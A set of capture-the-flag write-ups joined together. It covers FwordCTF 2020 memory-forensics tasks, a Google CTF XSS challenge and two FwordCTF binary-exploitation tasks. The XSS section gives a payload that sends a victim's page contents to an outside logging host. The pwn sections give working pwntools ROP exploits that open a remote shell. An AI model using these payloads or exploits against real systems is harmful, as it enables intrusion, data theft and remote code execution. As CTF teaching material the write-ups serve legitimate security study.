```Volatility Foundation Volatility Framework 2.6Index URL Title Visits Typed Last Visit Time Hidden Favicon ID------ -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- ------ ----- -------------------------- ------ ---------- 84 https://www.facebook.com/ Facebook - Log In or Sign Up 2 0 2020-08-26 09:13:16.484337 N/A 83 http://facebook.co/ Facebook - Log In or Sign Up 1 1 2020-08-26 09:13:15.341831 N/A 81 https://twitter.com/FwordTeam Fword (@FwordTeam) / Twitter 1 0 2020-08-26 09:12:59.645547 N/A 82 https://ctf.fword.wtf/ Fword CTF 1 0 2020-08-26 09:13:01.342381 N/A 86 https://youtube.com/ YouTube 1 1 2020-08-26 09:13:21.325404 N/A 79 https://discord.gg/beEcn8Q FwordCTF 1 0 2020-08-26 09:12:58.178974 N/A 80 https://discord.com/invite/beEcn8Q FwordCTF 1 0 2020-08-26 09:12:58.178974 N/A 77 http://fword.wtf/ Fword CTF 1 0 2020-08-26 09:12:55.299362 N/A 78 https://fword.wtf/ Fword CTF 1 1 2020-08-26 09:12:55.299362 N/A 92 https://www.youtube.com/watch?v=sT1TFWDvL78&list=RD1XsfrpqXPc0&index=2 Lomepal - Trop Beau (Emma PΓ©ters Cover & Crisologo Remix) - YouTube 1 0 2020-08-26 09:16:56.579216 N/A 90 https://webchat.freenode.net/ Kiwi IRC - The web IRC client 1 1 2020-08-26 09:13:32.517035 N/A 89 http://webchat.freenode.net/ Kiwi IRC - The web IRC client 1 0 2020-08-26 09:13:32.517035 N/A 91 https://gofile.io/d/k2RkIS Gofile 1 0 2020-08-26 09:16:55.222846 N/A 88 https://www.youtube.com/watch?v=1XsfrpqXPc0&list=RD1XsfrpqXPc0&start_radio=1 Gabriel Vitel - Feeling Better - YouTube 1 0 2020-08-26 09:13:25.497121 N/A 87 https://www.youtube.com/ YouTube 3 0 2020-08-26 09:13:25.489943 N/A 85 http://youtube.com/ YouTube 1 0 2020-08-26 09:13:21.325404 N/A 93 https://www.youtube.com/watch?v=h3EEhWecuoA&list=RD1XsfrpqXPc0&index=3 Izzamuzzic - Adventure (Original Mix) - YouTube 1 0 2020-08-26 09:21:41.640325 N/A```
The file that we are searching for was available in this web page: [https://gofile.io/d/k2RkIS](https://gofile.io/d/k2RkIS).
That file was an compressed and encrypted .zip file
I downloaded the file (available here: [important.zip](resources/forensics-405-memory_3/important.zip))
And since in the description, the author asked to avoid brute forcing the password, I knew that he was talking about the .zip file.
Personally, since the `Memory` tasks are chained (the next task will be visible only if you solve the actual task), I was able to solve the `Memory 3` task (without seeing its description) before the `Memory 2` task and even if the flag of the `Memory 2` task was there in the output of the ``strings`` command (see the previous task), I don't know why I ignored it and I was focused on a way to extract the flag from the compressed encrypted .zip file and I figured out that the author was talking with his friend on IRC so I checked again the conversation adn I found that they shared the file's password there.
But without seeing the `Memory 3`'s description, I didn't know that brute forcing the .zip's password can't help me because I tried it and I failed. And from this moment, I asked myself why can't I try to use the `strings` command to search for the .zip's password there ? And since I know that the password will not be obvious (it will not contain the word `FwordCTF`), I tried the following commands.
```strings foren.raw > /tmp/foen_strings.loggrep -i "password " /tmp/foen_strings.log```
And I found the common results as the previous task `Memory 2`.
Output:
```[REDACTED]ha[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :Hmmm"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]ha[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :No problem I'll give it again .. "]a[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :Just be careful this time"]ha[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :The password is"]a[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :fw0rdsecretp4ss"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]a[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :See yaa Bahlous \\o"]hha[":1 :stross.freenode.net PONG stross.freenode.net :"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]ha[":1 :stross.freenode.net PONG stross.freenode.net :"]h[REDACTED]```
We will take only a small part:
```:[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :The password is"]a[":1 :[emailΒ protected] PRIVMSG #FwordCTF{top_secret_channel} :fw0rdsecretp4ss"]ha[":1```
This is understandable as:
```KOOLI!c50e307f is connecting from 197.14.48.127He is talking from the channel #FwordCTF{top_secret_channel}He send the message: The password isHe also sent another message: fw0rdsecretp4ssAnd he was laughing```
So, the password is ``fw0rdsecretp4ss``.
And, when we used it to extract the files from the .zip file, we found an image that contain the flag: [flag1.png](resources/forensics-405-memory_3/flag1.png)
So, the flag is ```FwordCTF{dont_share_secrets_on_public_channels}```.___
## Memory 4
**Category:** Forensics**Points:** 492**Author:** SemahBA & KOOLI**Description:**
> Since i'm a geek, i hide my secrets in weird places
> File: [foren.7z](resources/forensics-73-memory/foren.7z)
**Hint:**
>(no hint)
### Write-up
Following the initial setups of the previous task `Memory`, in this task we have to find the flag in the weird place.
I wanted to predict where the flag is by using the timeline of the process executions and by excluding the system processes and the processes that we already worked on in the previous tasks but as usual I found the flag of the next task `Memory 5` before finding the flag of the actual task `Memory 4`.
And when I wanted to understand what does that mean `weird place`, if this can't be the processes that we already worked on and that could be related to geeks, I thought about the user's registry keys.
So, I get back to the following command.
```volatility -f foren.raw --profile=Win7SP0x64 hivelist```
Output:
```Volatility Foundation Volatility Framework 2.6Virtual Physical Name------------------ ------------------ ----0xfffff8a000b0f410 0x000000002720d410 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT0xfffff8a000d00010 0x000000001ff75010 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT0xfffff8a000f8b410 0x00000000175e8410 \??\C:\Windows\System32\config\COMPONENTS0xfffff8a00145f010 0x0000000027d9b010 \SystemRoot\System32\Config\DEFAULT0xfffff8a0014da410 0x00000000275c0410 \SystemRoot\System32\Config\SAM0xfffff8a0033fe410 0x0000000069de6410 \??\C:\Users\SBA_AK\ntuser.dat0xfffff8a0036e7010 0x0000000069188010 \??\C:\Users\SBA_AK\AppData\Local\Microsoft\Windows\UsrClass.dat0xfffff8a0038fe280 0x0000000068390280 \??\C:\System Volume Information\Syscache.hve0xfffff8a00000f010 0x000000002cfef010 [no name]0xfffff8a000024010 0x000000002d07a010 \REGISTRY\MACHINE\SYSTEM0xfffff8a000058010 0x000000002d3ae010 \REGISTRY\MACHINE\HARDWARE0xfffff8a000846010 0x000000002a0e9010 \Device\HarddiskVolume1\Boot\BCD0xfffff8a000873010 0x0000000013880010 \SystemRoot\System32\Config\SOFTWARE0xfffff8a000ab8010 0x0000000027455010 \SystemRoot\System32\Config\SECURITY```
And since we know that the user that we are investigating is `SBA_AK`, we have two file paths that we have might need to check: `\??\C:\Users\SBA_AK\ntuser.dat` or/and `\??\C:\Users\SBA_AK\AppData\Local\Microsoft\Windows\UsrClass.dat`.
I started with the first one and I used its virtual offset in the volatility command to list the registry keys.
```volatility -f foren.raw --profile=Win7SP0x64 printkey -o 0xfffff8a0033fe410```
Output:
```Volatility Foundation Volatility Framework 2.6Legend: (S) = Stable (V) = Volatile
----------------------------Registry: \??\C:\Users\SBA_AK\ntuser.datKey name: CMI-CreateHive{D43B12B8-09B5-40DB-B4F6-F6DFEB78DAEC} (S)Last updated: 2020-08-26 09:11:20 UTC+0000
Subkeys: (S) AppEvents (S) Console (S) Control Panel (S) Environment (S) EUDC (S) FLAG (S) Identities (S) Keyboard Layout (S) Network (S) Printers (S) Software (S) System (V) Volatile Environment
Values:```
And that's how I soptted the subkey `FLAG` that might contain the flag.
Then, I printed its value.
```volatility -f foren.raw --profile=Win7SP0x64 printkey -o 0xfffff8a0033fe410 -K "FLAG"```
Output:
```Volatility Foundation Volatility Framework 2.6Legend: (S) = Stable (V) = Volatile
----------------------------Registry: \??\C:\Users\SBA_AK\ntuser.datKey name: FLAG (S)Last updated: 2020-08-25 18:45:05 UTC+0000
Subkeys:
Values:REG_SZ : (S) FwordCTF{hiding_secrets_in_regs}```
So, the flag is ```FwordCTF{hiding_secrets_in_regs}```.___
## Memory 5
**Category:** Forensics**Points:** 495**Author:** SemahBA & KOOLI**Description:**
> I'm an artist too, i love painting. I always paint in these dimensions 600x300
> File: [foren.7z](resources/forensics-73-memory/foren.7z)
**Hint:**
>(no hint)
### Write-up
Following the initial setups of the previous task `Memory`, in this task we have to find the flag in the weird place.
Since I solved this task `Memory 5` before solving the `Memory 4` task, I didn't have the chance to read its description because the task `Memory 5` will not be visible unless I solve the `Memory 4` task.
I wanted to predict where the flag is by using the timeline of the process executions and by excluding the system processes and the processes that we already worked on in the previous tasks.
```volatility -f foren.raw --profile=Win7SP0x64 pslist```
Output:
```Volatility Foundation Volatility Framework 2.6Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------0xfffffa8018da8040 System 4 0 103 585 ------ 0 2020-08-26 09:10:17 UTC+00000xfffffa8019ebdb00 smss.exe 264 4 2 32 ------ 0 2020-08-26 09:10:17 UTC+00000xfffffa801a738060 csrss.exe 356 348 10 459 0 0 2020-08-26 09:10:26 UTC+00000xfffffa801a74db00 wininit.exe 388 348 3 84 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801a72fa00 csrss.exe 404 380 9 384 1 0 2020-08-26 09:10:27 UTC+00000xfffffa801a763930 winlogon.exe 448 380 5 122 1 0 2020-08-26 09:10:27 UTC+00000xfffffa801a74e7e0 services.exe 488 388 8 232 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801a5f3b00 lsass.exe 496 388 10 752 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801a79a550 lsm.exe 504 388 10 147 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801a9bb060 svchost.exe 600 488 11 367 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801a9e6b00 svchost.exe 680 488 8 298 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801a9ecb00 svchost.exe 756 488 23 588 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801aa34b00 svchost.exe 808 488 26 533 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801aa4a860 svchost.exe 864 488 22 574 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801aa64510 svchost.exe 900 488 38 1047 0 0 2020-08-26 09:10:27 UTC+00000xfffffa801aa879b0 audiodg.exe 968 756 8 148 0 0 2020-08-26 09:10:28 UTC+00000xfffffa801aab6410 TrustedInstall 1020 488 5 147 0 0 2020-08-26 09:10:28 UTC+00000xfffffa801ab66b00 svchost.exe 1096 488 16 480 0 0 2020-08-26 09:10:29 UTC+00000xfffffa8018e10b00 spoolsv.exe 1212 488 14 299 0 0 2020-08-26 09:10:29 UTC+00000xfffffa801abff060 svchost.exe 1240 488 18 311 0 0 2020-08-26 09:10:29 UTC+00000xfffffa801ab61b00 svchost.exe 1336 488 10 147 0 0 2020-08-26 09:10:30 UTC+00000xfffffa801ac9bb00 svchost.exe 1388 488 22 340 0 0 2020-08-26 09:10:30 UTC+00000xfffffa8018e4f4f0 svchost.exe 1748 488 7 104 0 0 2020-08-26 09:10:30 UTC+00000xfffffa801ae2e060 sppsvc.exe 1360 488 4 151 0 0 2020-08-26 09:10:34 UTC+00000xfffffa801aecf5f0 taskhost.exe 2036 488 10 234 1 0 2020-08-26 09:11:20 UTC+00000xfffffa8019f45870 dwm.exe 1604 808 3 80 1 0 2020-08-26 09:11:20 UTC+00000xfffffa801af105c0 explorer.exe 1000 1332 31 896 1 0 2020-08-26 09:11:21 UTC+00000xfffffa801b01d480 FAHWindow64.ex 2252 2240 2 77 1 0 2020-08-26 09:11:21 UTC+00000xfffffa801b024780 WzPreloader.ex 2264 1000 6 123 1 0 2020-08-26 09:11:21 UTC+00000xfffffa801aec4480 SearchIndexer. 2644 488 13 711 0 0 2020-08-26 09:11:27 UTC+00000xfffffa801b20fb00 wmpnetwk.exe 2768 488 14 494 0 0 2020-08-26 09:11:28 UTC+00000xfffffa801b3211e0 svchost.exe 2996 488 10 366 0 0 2020-08-26 09:11:29 UTC+00000xfffffa801a5f95f0 WmiPrvSE.exe 952 600 5 120 0 0 2020-08-26 09:11:30 UTC+00000xfffffa801a976b00 mscorsvw.exe 4012 488 6 93 0 1 2020-08-26 09:12:30 UTC+00000xfffffa801ae824b0 mscorsvw.exe 4052 488 6 83 0 0 2020-08-26 09:12:31 UTC+00000xfffffa801aaba450 svchost.exe 3308 488 14 339 0 0 2020-08-26 09:12:31 UTC+00000xfffffa801aca4060 chrome.exe 3700 1000 33 986 1 0 2020-08-26 09:12:48 UTC+00000xfffffa801ab9c750 chrome.exe 3752 3700 8 93 1 0 2020-08-26 09:12:48 UTC+00000xfffffa801af86b00 chrome.exe 2560 3700 13 337 1 0 2020-08-26 09:12:48 UTC+00000xfffffa8018e55b00 chrome.exe 3304 3700 8 231 1 0 2020-08-26 09:12:50 UTC+00000xfffffa8019a5b360 chrome.exe 3528 3700 11 209 1 0 2020-08-26 09:12:55 UTC+00000xfffffa8019b2ab00 chrome.exe 616 3700 26 332 1 0 2020-08-26 09:13:21 UTC+00000xfffffa8019b5b5f0 chrome.exe 540 3700 13 171 1 0 2020-08-26 09:13:21 UTC+00000xfffffa8019b60060 chrome.exe 3816 3700 13 195 1 0 2020-08-26 09:13:22 UTC+00000xfffffa8019b6fb00 chrome.exe 2516 3700 17 294 1 0 2020-08-26 09:13:32 UTC+00000xfffffa8019ac0640 chrome.exe 3992 3700 14 216 1 0 2020-08-26 09:13:33 UTC+00000xfffffa8019bf2060 wuauclt.exe 1876 900 3 98 1 0 2020-08-26 09:13:33 UTC+00000xfffffa801adeaa40 mspaint.exe 1044 1000 7 133 1 0 2020-08-26 09:20:28 UTC+00000xfffffa8019bc0b00 svchost.exe 3284 488 7 110 0 0 2020-08-26 09:20:28 UTC+00000xfffffa8019bf7060 DumpIt.exe 1764 1000 2 52 1 1 2020-08-26 09:22:18 UTC+00000xfffffa801b2ad060 conhost.exe 2592 404 2 56 1 0 2020-08-26 09:22:18 UTC+0000```
And I found that the only process that we didn't already checked and that was executed later was `mspaint.exe` (Paint).
Now, coming back to the reality, the task description was mentioning the Paint tool.
And the challenge that I tried to solve is more difficult because without the task's description, I didn't have the image's dimensions.
I have the process name and the process ID that I have to work on in order to extract the painted image from the memory that contain the flag.
I followed this write-up to do that: [Google CTF 2016 β Forensic βFor1β Write-up](https://www.rootusers.com/google-ctf-2016-forensic-for1-write-up/).
And the first step that I needed to do was to extract the memory dump for that specific process.
```volatility -f foren.raw --profile=Win7SP0x64 memdump -p 1044 -D /tmp```
The extracted memory dump file will be located on `/tmp/1044.dmp`.
And as pointed in the mentioned write-up, we have to download Gimp, to rename the file from 1044.dmp to 1044.data and to open it using Gimp.
The extracted file 1044.dmp was bigger than the memory dump and I still can't explain why we see such behavior when we dump the process in a separate file.
And as I said, when I solved this task, I didn''t have the image's dimensions and when I opened the 1044.data file using Gimp, I had 3 parameters to change: the offset, the width and the height.
But I found that the height parameter is not really important because we only need to change the width because as I understood, the width will limit the number of pixels per line and if the width is incorrect, all the lines after the first line will be shifted and that will avoid us to see the image because every next line will be also shifted from the previous line.
The first time, I tried to work with a larger width because I was saying that I will see the whole picture when the windows is larger but this is not always correct.
The offset is used to scroll the image between the left and the right by shifting or popping the pixels in the view (from the beginning first index and the last index of the array).
This makes the width more important than the offset.
So, if we have the correct width, we can clearly find the painted image only by changing the offset because we will be scrolling the memory dump until we get to the painted image since the memory dump must contain the data of that process and Paint's data is an image.
The only thing that made me lucky in this task is, I though that we have to guess the image dimensions that that will not be difficult. So, I supposed that the painted image will be square shaped. And when I used a larger width and I changed the offset from the min to the max and I didn't find any interesting thing, I reduced the width until 350 or 400. And I changed again the offset from the minimum to the maximum until I found an interesting blank image that contains some random lines. Then, I changed the width and the height to make the image square (but as I said, changing the height will not be useful since the image can be visible with a wrong height) until I found an interesting image with a width equals to 300 but the image was still not clear. So, I changed the width from 100, 200, 300, 400, 500, 600 and Bingo! the width was 600. And the image is still clear with a width proportional to 600 (like 1200, 1800, 2400).
Then, I took a screenshot on that image and I rotated it to see the flag clearly.
So, the flag is ```FwordCTF{Paint_Skills_FTW!}```.
___
# Scoreboard
After solving all these tasks in a team of two players (the third team member had an issue and was not able to join the party), our team **[S3c5murf](https://ctftime.org/team/63808)** get the score 3277 and get ranked 67/360 out of the teams that had a score greater than 0 :
......
...
...
|
# All The Little Things*Solution and write-up by team [Kalmarunionen](https://capturetheflag.withgoogle.com/scoreboard/kalmarunionen). We were one of only 20 teams to solve this during the competition.*
From the challenge description we can assume, that we need to find a private note for the user TJ Mike. We invoke him from the [Pasteurize](pasteurize.md) website previously used. Thus, we already know, that we have full unrestricted XSS on that domain.
## TL;DR- Use `?__debug__` in the url to load `/static/script/debug.js`- Poison the user object using the window.name with a JSON-payload similarly to ```javascriptwindow.name = '{"__proto__":{},"theme":{"cb":"alert"}}';```- Use the `window.name` to inject an iframe allowing multiple invocations of `<script src="/theme?cb=XXX"></script>` where `XXX` is the payload- Put the page contents in the url of an image loading an attacker-controlled page
## Initial ObservationsA server-side vulnerability was quickly ruled out, leaving us with client-side attacks. Cookies are HTTP-only, meaning we cannot access and steal them from JavaScript. As private notes can only be viewed by the owner, we need to make the challenge user fetch it for us. We do not know the url of the note we wish to read, thus, we will first have to fetch the `/note` page to list all notes and afterwards fetch the content of the particular note.
Due to the Content Security Policy header (CSP) below we are not allowed to execute inline JavaScript, but only JavaScript from the domain it self. The only allowed remote resources are images, thus payload has to be served directly from the website and can be extracted using redirection or images. The full CSP is:```content-security-policy: default-src 'none';script-src 'self' 'nonce-dd52beb8df5224c2';img-src https: http:;connect-src 'self';style-src 'self';base-uri 'none';form-action 'self';font-src https://fonts.googleapis.com```
## Vulnerabilities### JavaScript CallbackFortunately it is possible to serve JavaScript using the following gadget:```html<script src="/theme?cb=alert"></script>```Returned Content:```javascriptalert({"version":"b1.13.7","timestamp":1598271043089})```However, the filtering taking place on the endpoints only lets us use basic characters such as A-Z, 0-9, underscore, dot (.) and the equal sign. No plus (no concatenation!), commas, parentheses, brackets, spaces or (semi)colons. In short, we only have one method call. Assignment can be made using `slice()` or similar, to get rid of the forced function invocation:```html<script src="/theme?cb=document.body.firstElementChild.innerHTML=window.name.slice"></script>```Returned Content:```javascriptdocument.body.firstElementChild.innerHTML=window.name.slice({"version":"b1.13.7","timestamp":1598271043089})
// which is equalent todocument.body.firstElementChild.innerHTML = window.name
```
#### Multiple Calls
To achive multiple JavaScript calls, we use a neat little trick. When utilising `elm.innerHTML = '<script src=/theme?cb=alert></script>'` the script will never be executed as per the spec. However, if we inject an iframe with content, it will execute the script if it conforms to the CSP: ```javascript// newlines inserted for clarityelm.innerHTML = '<iframe srcdoc=" <script src=/theme?cb=alert></script> <script src=/theme?cb=alert></script> "></iframe>'```
#### String Concatenation
To leak the page contents, we need to put it in the url of an image or an redirect. In either case, it should point to our domain, hence we need to concatenate to strings or at least be able to append. This can be done using a simple gadget:
```html<span> <span>https://domain.com/</span> <span>content</span><span>```And then in JavaScript we can just fetch it all using ```javascriptconsole.log(window.container.innerText) // prints "https://domain.com/content"```
### User Object PolutionDespite the `User` class having private properties `username`, `theme` and `img` we can overwrite them. Lets first inspect the relevant code:
File `/static/scripts/user.js`:```javascriptclass User { #username; #theme; #img constructor(username, img, theme) { this.#username = username this.#theme = theme this.#img = img } get username() { return this.#username }
get img() { return this.#img }
get theme() { return this.#theme }
toString() { return `user_${this.#username}` }}
function make_user_object(obj) {
const user = new User(obj.username, obj.img, obj.theme); window.load_debug?.(user);
// make sure to not override anything if (!is_undefined(document[user.toString()])) { return false; } document.getElementById('profile-picture').src=user.img; window.USERNAME = user.toString(); document[window.USERNAME] = user; update_theme();}```File `/static/scripts/debug.js`:```javascript// Extend user objectfunction load_debug(user) { let debug; try { debug = JSON.parse(window.name); } catch (e) { return; }
if (debug instanceof Object) { Object.assign(user, debug); } ...```
Of special interest is the `Object.assign(user, debug)` in the `debug.js`. Here we are assigning properties from the `debug` object into the `user` object. To be able to overwrite the private properties, we have to use prototype polution:
Notice the difference - whem we specify `"__proto__"` we do not get any errors and are able to overwrite the private properties.
## Chaining It All TogetherThe target is once again TJ Mike from the Pasteurize application. See our [Pasteurize write-up](pasteurize.md)For details on how to gain XSS on that. It will be the starting point where we launch our attack.
The payload we inject into the Pasteurize application does the following:
1) injects an iframe into the page using content stored in `window.name`2) the content/srcdoc of the iframe contains two scripts3) the first script appends the page contents to our target extraction url4) the last script loads an image with above url
```javascriptwindow.name = `{"__proto__":{},"theme":{"cb":"document.body.firstElementChild.innerHTML=window.name.slice"},"i":"<iframe srcdoc='<span id=total><span id=a>\/\/xss.wep.dk\/log\/5f43ce07ebcf5\/<\/span><span id=b></span></span><img id=img src=x><script src=/theme?cb=window.b.innerText=window.parent.document.body.innerText.slice><\/script><script src=/theme?cb=window.img.src=window.total.innerText.slice><\/script>'/>"}`;```
### First Invocation - Fetching The Note IdAfter running the above command to name the window, we redirect the TJ Mike to the note listing page:
```javascriptwindow.location = "https://littlethings.web.ctfcompetition.com/note?__debug__";```
[The result](https://xss.wep.dk/?id=5f43ce07ebcf5) reveals the target note id:
### Second Invocation - Fetching The SecretUsing the same `window.name` as above we now redirect TJ Mike directly to the note:```javascriptwindow.location = "https://littlethings.web.ctfcompetition.com/note/22f23db6-a432-408b-a3e9-40fe258d500f?__debug__";```
The result:
Flag: `CTF{When_the_w0rld_c0mes_t0_an_end_all_that_matters_are_these_little_things}`
</span></span> |
# FwordCTF 2020
## Welcome Pwner
> 374> > something to warm you up.>> `nc 54.210.217.206 1240`>> Author : haflout>> [`Molotov`](molotov)
Tags: _pwn_ _x86_ _remote-shell_ _bof_ _rop_
## Summary
Beginner BOF with `system` leaked, however user must find libc version themselves.
## Analysis
### Checksec
``` Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled```
Most mitigations in place, however no stack canary; BOF -> ROP.
### Decompile with Ghidra
```cundefined4 vuln(void){ char local_20 [24]; printf("%x\n",system); puts("Input : "); gets(local_20); return 0;}```
Not a lot here; `system` address leaked with `gets` vulnerability. `local_20` is `0x20` bytes from the return address on the stack. Basic BOF.
Without knowing the version of libc we cannot pass the location of `/bin/sh` to `system`; identifying that however is simple with [libc-database](https://github.com/niklasb/libc-database):
```# nc 54.210.217.206 1240f7de68b0Input :```
Take the last 3 nibbles and pass to `./find`:
```# ./find system 8b0 | grep _i386archive-glibc (id libc6_2.30-0ubuntu2.1_i386)ubuntu-eoan-i386-libc6 (id libc6_2.30-0ubuntu2.2_i386)http://ftp.osuosl.org/pub/ubuntu/pool/main/g/glibc/libc6_2.30-0ubuntu2_i386.deb (id libc6_2.30-0ubuntu2_i386)```
Multiple hits. I went with `libc6_2.30-0ubuntu2_i386` and it worked out just fine. If it had failed, then there was only two other options to try.
## Exploit
This code assumes that `libc-database` is located in the same directory (I just sym linked it) as `exploit.py`.
From within the `libc-database` type:
```# ./download libc6_2.30-0ubuntu2_i386```
This will download libc, ld, et al.
### Setup
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./molotov')context.log_level = 'INFO'context.log_file = 'log.log'
'''# local libclibc = binary.libcp = process(binary.path)'''# task libclibid = 'libc6_2.30-0ubuntu2_i386'libpath = os.getcwd() + '/libc-database/libs/' + libid + '/'ld = ELF(libpath + 'ld-2.30.so')libc = ELF(libpath + 'libc-2.30.so')#p = process([ld.path, binary.path], env={'LD_LIBRARY_PATH': libpath})p = remote('54.210.217.206', 1240)#'''```
The first few lines should not require much of an explanation, except perhaps the `binary = context.binary = ELF('./molotov')` statement. The `context.binary` there in the middle will set the context (arch, os, etc...) so that `rop`, `asm`, `constants`, etc... statements produce the correct results.
The next section (selected by placing `#` at the first or last `'''`) determines if you want to use your local libc or the challenge libc. For most easy challenges I dev/test with the local libc and then just test with the task libc. However for some, especially when pulling addresses from the stack, I've found inconsistencies between my local libc is vs. the task libc. Often time is wasted having to refactor or completely resolve for the task libc. The second block handles launching a challenge binary with the intended libs. And `gdb` works just fine with this as well.
### BOF, ROP, Shell
```python_ = p.recvline()system = int(_,16)log.info('system: ' + hex(system))libc.address = system - libc.sym.systemlog.info('baselibc: ' + hex(libc.address))
payload = 0x20 * b'A'payload += p32(libc.sym.system)payload += 4 * b'B'payload += p32(libc.search(b'/bin/sh').__next__())
p.sendlineafter('Input : \n',payload)p.interactive()```
With the correct libc in hand, just capture the system address, compute the base of libc, then setup your ROP chain after padding with `0x20` bytes.
Output:
```bash# ./exploit.py[*] '/pwd/datajerk/fwordctf2020/welcome_pwner/molotov' Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled[*] '/pwd/datajerk/fwordctf2020/welcome_pwner/libc-database/libs/libc6_2.30-0ubuntu2_i386/ld-2.30.so' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled[*] '/pwd/datajerk/fwordctf2020/welcome_pwner/libc-database/libs/libc6_2.30-0ubuntu2_i386/libc-2.30.so' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[+] Opening connection to 54.210.217.206 on port 1240: Done[*] system: 0xf7dac8b0[*] baselibc: 0xf7d67000[*] Switching to interactive mode$ iduid=1000(fword) gid=1000(fword) groups=1000(fword)$ ls -ltotal 32-rw-r--r-- 1 root root 24 Aug 29 14:25 flag.txt-rwxr-xr-x 1 root root 7492 Aug 29 14:25 molotov-rwxr-xr-x 1 root root 18744 Aug 29 14:25 ynetd$ cat flag.txtFwordCTF{good_j0b_pwn3r}``` |
# FwordCTF 2020
## One Piece
> 478> > Luffy has started learning Binary Exploitation recently. He sent me this binary and said that I have to find the One Piece. Can you help me ?>> `nc onepiece.fword.wtf 1238`>> Author : haflout>> [`One Piece`](one_piece)
Tags: _pwn_ _x86-64_ _remote-shell_ _bof_ _rop_
## Summary
Exploit a BOF vulnerability to score a second BOF vulnerability. a.k.a. _Two Piece_.
## Analysis
### Checksec
``` Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled```
Most mitigations in place, however no stack canary; BOF -> ROP.
### Decompile with Ghidra
```cundefined8 mugiwara(char *param_1){ char *local_40; char local_38 [40]; int local_10; uint local_c; local_10 = 0x28; printf("Luffy is amazing, right ? : %lx \n"); local_c = 0; local_40 = param_1; while ((*local_40 != '\0' && (local_c < 0x28))) { local_38[(int)local_c] = *local_40; if (*local_40 == 'z') { local_c = local_c + 1; local_38[(int)local_c] = -0x77; } local_c = local_c + 1; local_40 = local_40 + 1; } puts("Wanna tell Luffy something ? : "); fgets(local_38,local_10,stdin); return 0;}```
The vulnerability is in the block `if (*local_40 == 'z') {` where `local_c` can get incremented without a check and overflow the buffer `local_38` into `local_10` (`local_10` is used to constrain `fgets`). `local_10` is initialized to `0x28`, however if the last char is `z` and `local_c = 0x27`, then the value `-0x77` (`0x89`) will overwrite the lower 8-bits of `local_10`; `fgets` will then permit `0x89` characters of input into a buffer that is `0x38` (`local_38`) bytes from the return address in the stack creating a second BOF vulnerability.
Before any BOFing, `printf("Luffy is amazing, right ? : %lx \n");` leaks a `mugiwara` address that we can use to compute the base process address. With that we can use the GOT to leak libc, and then get a shell.
Since the libc version is unknown, the first half of the exploit will have to be written and run against the challenge server to leak the version of libc used.
## Exploit
### Setup
> See [_Welcome Pwner Exploit Setup_](https://github.com/datajerk/ctf-write-ups/blob/master/fwordctf2020/welcome_pwner/README.md#setup) for a detailed explanation of why I start my exploits this way:
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./one_piece')context.log_level = 'INFO'context.log_file = 'log.log'
'''# local libclibc = binary.libcp = process(binary.path)'''# task libclibid = 'libc6_2.30-0ubuntu2.2_amd64'libpath = os.getcwd() + '/libc-database/libs/' + libid + '/'ld = ELF(libpath + 'ld-2.30.so')libc = ELF(libpath + 'libc-2.30.so')#p = process([ld.path, binary.path], env={'LD_LIBRARY_PATH': libpath})p = remote('onepiece.fword.wtf', 1238)#'''```
The setup above is the final version, but before we can get there, we'll start with our local libc block, then switch to the challenge libc after discovered.
### First Pass: get base process address and overflow `local_10`
```pythonp.recvuntil('(menu)>>')p.sendline('read')p.recvuntil('>>')p.send('y' * 0x27 + 'z')p.recvuntil('>>')p.sendline('gomugomunomi')p.recvuntil('Luffy is amazing, right ? : ')_ = p.recvline().strip()mugiwara = (int(_,16) & (2**64 - 0x1000)) + binary.sym.mugiwaralog.info('mugiwara: ' + hex(mugiwara))binary.address = mugiwara - binary.sym.mugiwaralog.info('binary.address: ' + hex(binary.address))```
From the menu, `read` is used to fill the buffer with `0x27` `y`s and one `z`. This will trigger the vulnerability and permit an `fgets` BOF when the secret word `gomugomunomi` (see `choice` decompilation) is entered from the menu. A `mugiwara` address is also leaked; pick this up to compute the base process address.
### First Pass: BOF `fgets` to leak libc and ret to `choice`
```pythonp.recvuntil('Wanna tell Luffy something ? : \n')
rop = ROP([binary])pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]log.info('pop_rdi: ' + hex(pop_rdi))
payload = 0x38 * b'A'payload += p64(pop_rdi)payload += p64(binary.got.puts)payload += p64(binary.plt.puts)payload += p64(binary.sym.choice)
p.sendline(payload)
_ = p.recv(6)puts = u64(_ + b'\x00\x00')log.info('puts: ' + hex(puts))libc.address = puts - libc.sym.putslog.info('libc.address: ' + hex(libc.address))```
This is standard fare CTF GOT provided leakage; having `puts` _put_ itself out there and _ret2choice_.
